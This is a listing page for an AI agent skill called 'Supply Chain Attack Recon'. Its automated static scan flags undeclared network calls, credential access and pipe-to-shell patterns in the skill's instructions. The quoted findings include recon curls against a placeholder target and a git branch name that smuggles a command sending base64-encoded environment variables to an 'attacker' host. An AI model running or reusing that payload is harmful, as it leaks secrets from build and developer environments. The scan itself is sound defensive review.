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Supply Chain Attack Recon

Listed
elementalsouls·vlatest·security·MIT

Supply Chain Attack Recon — provides AI agent assistance for software development workflows.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add elementalsouls/claude-bughunter --skill supply-chain-attack-recon -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

elementalsouls

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: api.osv.dev, target.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    github.comsource hosttarget.comundeclaredregistry.npmjs.orgpackage registrypypi.orgpackage registryrubygems.orgpackage registryproxy.golang.orgpackage registryhub.docker.compackage registryapi.osv.devundeclared

    What it found (3 of 5)

    • skills/supply-chain-attack-recon/SKILL.md:83contacts target.com
      curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
    • skills/supply-chain-attack-recon/SKILL.md:84contacts target.com
      curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u
    • skills/supply-chain-attack-recon/SKILL.md:373contacts target.com
      curl -s https://target.com | grep -i polyfill

  • No credential access: failed

    Touches credential material in 2 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • skills/supply-chain-attack-recon/SKILL.md:235environment dumped into a network call
      git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
    • skills/supply-chain-attack-recon/SKILL.md:581instructs the agent to access crypto wallet store(in the instructions, not code)
      - **Flow:** Attackers register PyPI packages with names visually/typographically similar to popular ones — `colourama` for `colorama`, `python3-dateutil` for `…

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 4 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found (3 of 4)

    • skills/supply-chain-attack-recon/SKILL.md:512tells the user to run: remote script piped into a shell(in the instructions, not code)
      - **Impact:** Every CI run worldwide that piped `curl -s https://codecov.io/bash | bash` for 2 months exfiltrated env vars. Confirmed downstream victims: Hashi…
    • skills/supply-chain-attack-recon/SKILL.md:518tells the user to run: remote script piped into a shell(in the instructions, not code)
      - **Recon takeaway:** "Curl-bash-install" patterns in public CI workflows are gold for this recon skill — search `.github/workflows/` for `curl ... | bash`, `w…
    • skills/supply-chain-attack-recon/SKILL.md:518tells the user to run: PowerShell download-and-run(in the instructions, not code)
      - **Recon takeaway:** "Curl-bash-install" patterns in public CI workflows are gold for this recon skill — search `.github/workflows/` for `curl ... | bash`, `w…

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • Pinned to a commit: passed

    Scanned elementalsouls/claude-bughunter at 9d6facf32c.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
9d6facf32c
Manifest
skills/supply-chain-attack-recon/SKILL.md
Scanned
1 file, 615 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

Supply Chain Attack Recon — provides AI agent assistance for software development workflows.